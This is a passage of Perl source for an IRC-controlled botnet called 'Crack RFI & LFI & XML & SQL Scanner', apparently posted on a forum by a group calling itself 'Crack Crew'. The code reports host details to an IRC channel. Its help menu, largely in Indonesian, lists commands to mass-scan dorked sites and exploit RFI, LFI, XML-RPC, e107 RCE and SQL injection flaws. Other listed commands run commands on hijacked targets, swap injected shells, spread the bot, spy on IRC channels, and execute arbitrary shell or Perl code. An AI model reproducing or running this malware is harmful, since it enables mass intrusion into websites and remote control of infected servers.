my @thS = ("2000","2001","2002","2003","2004","2005","2006","2007","2008","2009","2010","1999","1998","1997","1996","1995");
my @dorkzcr = ("username","password","member","login","admin","comment","email");
my @autodoms = (
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))],
$dom[rand(scalar(@dom))]
);
return @autodoms;
}
##[ ENCODE/DECODE ]##
sub htmltourl { my $str = $_[0]; $str =~ s/&/&/g; return $str; }
sub links() {
my @l;
my $link = $_[0];
my $host = $_[0];
my $hdir = $_[0];
$hdir =~ s/(.*)\/[^\/]*$/\1/;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host .= "/";
$link .= "/";
$hdir .= "/";
$host =~ s/\/\//\//g;
$hdir =~ s/\/\//\//g;
$link =~ s/\/\//\//g;
push( @l, $link, $host, $hdir );
return @l;
}
sub urlen {
my $str = $_[0];
#$str =~ s/\+/\%2B/g;
$str =~ s/ /\+/g;
$str =~ s/@/\%40/g;
$str =~ s/\//\%2F/g;
$str =~ s/&/\%26/g;
$str =~ s/\"/\%22/g;
$str =~ s/,/\%2C/g;
$str =~ s/\\/\%5C/g;
$str =~ s/:/\%3A/g;
$str =~ s/\[/\%5B/g;
$str =~ s/\]/\%5D/g;
$str =~ s/\?/\%3F/g;
$str =~ s/\=/\%3D/g;
$str =~ s/\|/\%7C/g;
return $str;
}
sub urlde {
my $str = $_[0];
$str =~ s/\+/ /g;
$str =~ s/\%2B/\+/g;
$str =~ s/\%40/@/g;
$str =~ s/\%2E/\./g;
$str =~ s/\%2F/\//g;
$str =~ s/\%26/&/g;
$str =~ s/\%22/\"/g;
$str =~ s/\%2C/,/g;
$str =~ s/\%5C/\\/g;
$str =~ s/\%3A/:/g;
$str =~ s/\%5[B|b]/\[/g;
$str =~ s/\%5[D|d]/\]/g;
$str =~ s/\%3F/\?/g;
$str =~ s/\%3D/\=/g;
$str =~ s/\%7C/\|/g;
return $str;
}
sub cryptz { return crypt($_[0],"Origins"); }
##[ TRIMMER CRLF ]##
sub trimrn {
my $str = $_[0];
if (!$str) { return ""; }
$str =~ s/\r// if ($str);
$str =~ s/\n//;
return $str;
}
##[ INFO BOT ]##
sub bot_info {
my $chan = $_[0];
my $hlogo = " [".$colz{14}."!".$colz{1}."] ".$colz{14};
my $uname = `uname -a`;
my $uid = `id`;
my $uptime = `uptime`;
my @info = (
$hlogo."Crack RFI & LFI & XML & SQL Scanner $versi Info ",
$hlogo."Written under ActivePerl 0.0 Build 1x by Xcode [Crack Crew] ",
$hlogo."Uname: $colz{6} $uname ",
$hlogo."Uid: .$colz{6} $uid ",
$hlogo."Uptime: .$colz{6} $uptime ",
);
foreach my $m(@info) { irc_msg($chan,$m); }
}
##[ HELP BOT ]##
sub bot_help {
my ($chan,$level) = @_;
my $hsepz = "[".$colz{14}."!".$colz{1}."] ".$colz{14};
my $hlogo = "[".$colz{14}."!".$colz{1}."] ".$colz{6}.$cmdpre.$colz{14};
my $hcspr = "[".$colz{14}."!".$colz{1}."] ".$colz{6}.$bot{nick}.$colz{14}." ";
my @help; my $i;
my @hlp1 = (
$hsepz."Crack RFI & LFI & XML & SQL Scanner $versi Help",
$hlogo."scan|scan2 <bug> <dork> � Memulai scanner | scanner & Eksploit RFI & LFI & XML & SQL",
$hcspr."scan <bug> <dork> � Memulai scanner & Eksploit RFI & LFI",
$hcspr."xml <bug> <dork> � Memulai scanner & Eksploit XML",
$hcspr."e107 <bug> <dork> � Memulai scanner & Eksploit e107 RCE",
$hcspr."sql <bug> <dork> � Memulai scanner & Eksploit SQL",
$hcspr."sqli -h � Melihat bantuan scemafuze SQL",
$hlogo."milw0rm <keywords> � Mencari daftar bug di milw0rm",
$hlogo."cmdlfi <LFI target> <comand> � execute target LFI",
$hlogo."cmdrfi <RFI target> <comand> � execute target RFI",
$hlogo."cmdxml <XML target> <comand> � execute target XML",
$hlogo."cmde107 <XML target> <comand> � execute target e107 RCE",
$hlogo."ip <ip> � cek ip",
$hlogo."zip <zip> � cek zip/post code",
$hlogo."text[enc/dec] <text> � encrypt/decrypt text",
$hlogo."respon � Cek Respon & Injector RFI & User Agent LFI",
$hlogo."urlen|urlde <teks> � Encoder/Decoder URL",
$hlogo."cek <target> � Cek RFI & LFI & XML & SQL target",
$hlogo."info � Informasi bot",
$hlogo."auth <password> � Login ke bot",
);
my @hlp2 = (
$hsepz."User Commands: ",
$hlogo."joomla <bug> <dork> � Memulai scanner & Eksploit RFI & LFI & XML & SQL Joomla",
$hlogo."hitung <jumlah> � Mengganti hitungan proses eksploitasi",
$hlogo."cryptz <password> � Membuat password yg terenkripsi",
$hlogo."join|part <channel> � Join/Part channel",
$hlogo."nick <nick> � Ganti nick bot",
$hlogo."logout � Logout dari bot",
);
my @hlp3 = (
$hsepz."Admin Commands:",
$hlogo."crespon[1/2]|cshell|cspread <url> � Mengganti respon/injector/spread/spread2 RFI",
$hlogo."cshurl <url> � Mengganti injector (Ckrid1.txt,Ckrid2.txt,Origins.txt,Origins2.txt) RFI",
$hlogo."rfipid <perintah> � Mengganti RFI & LFI & XML & SQL PID",
$hlogo."spy � Menampilkan konfigurasi Spy",
$hlogo."spyhost <your chan> � Channel host buat spy",
$hlogo."spychan <chan> � Channel yang akan di spy",
$hlogo."spyword <regex> � Kata yg di akan spy",
$hlogo."raw <perintah> � Perintah Raw IRC",
$hlogo."cmd <perintah shell> � Mengeksekusi perintah di shell",
$hlogo."eval <kode perl> � Mengeksekusi kode perl",
$hlogo."quit � Quit dari IRC",
$hlogo."keluar � Quit dari IRC & Matikan semua proses Perl",
);
if ( $level == 1 ) { push(@help,@hlp1); }
elsif ( $level == 2 ) { push(@help,@hlp2); }
elsif ( $level == 3 ) { push(@help,@hlp3); }
foreach my $m (@help) { irc_msg($chan,$m); $i++; if ( $i % $conf{linez} == 0 ) { sleep($conf{sleepz}); } }
}
##[ CUSTOM MESSAGE ]##
sub msge { my ($chan,$se,$res) = @_; irc_msg($chan," ".$se." ".$res." "); }
sub msgi { my ($chan,$judul,$info) = @_; irc_msg($chan," [$judul] $info "); }
sub msgn { my ($chan,$se,$nxurl) = @_; irc_msg($chan," ".$se." ".$nxurl." "); }
sub msgr { my ($chan,$se,$totr,$clr) = @_; irc_msg($chan," ".$se." ".$totr." ".$clr." "); }
sub msgt { my ($chan,$se,$res) = @_; irc_msg($chan," ".$se." ".$res." "); }
sub ntci { my ($chan,$judul,$info) = @_; irc_ntc($chan," [$judul] $info "); }
##[ PERINTAH RAW IRC ]##
sub irc_raw { my $data = $_[0]; print $sock "$data\r\n"; }
sub irc_pasv { my $pasv = $_[0]; irc_raw("PASS $pasv"); }
sub irc_nick { my $nick = $_[0]; irc_raw("NICK $nick"); }
sub irc_user { my $ident = $_[0]; irc_raw("USER $ident localhost * : $versi"); }
sub irc_msg { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }
sub irc_act { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :ACTION $psn"); }
sub irc_ntc { my ($to,$psn) = @_; irc_raw("NOTICE $to :$psn"); }
sub irc_join { my $to = $_[0]; irc_raw("JOIN $to"); }
sub irc_part { my $to = $_[0]; irc_raw("PART $to"); }
sub irc_quit { my $psn = $_[0]; irc_raw("QUIT :$psn"); exit; }
##############################
##[ Origins CRACKED CREW ]##
##############################
Powered by vBulletin® Version 4.2.2 Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.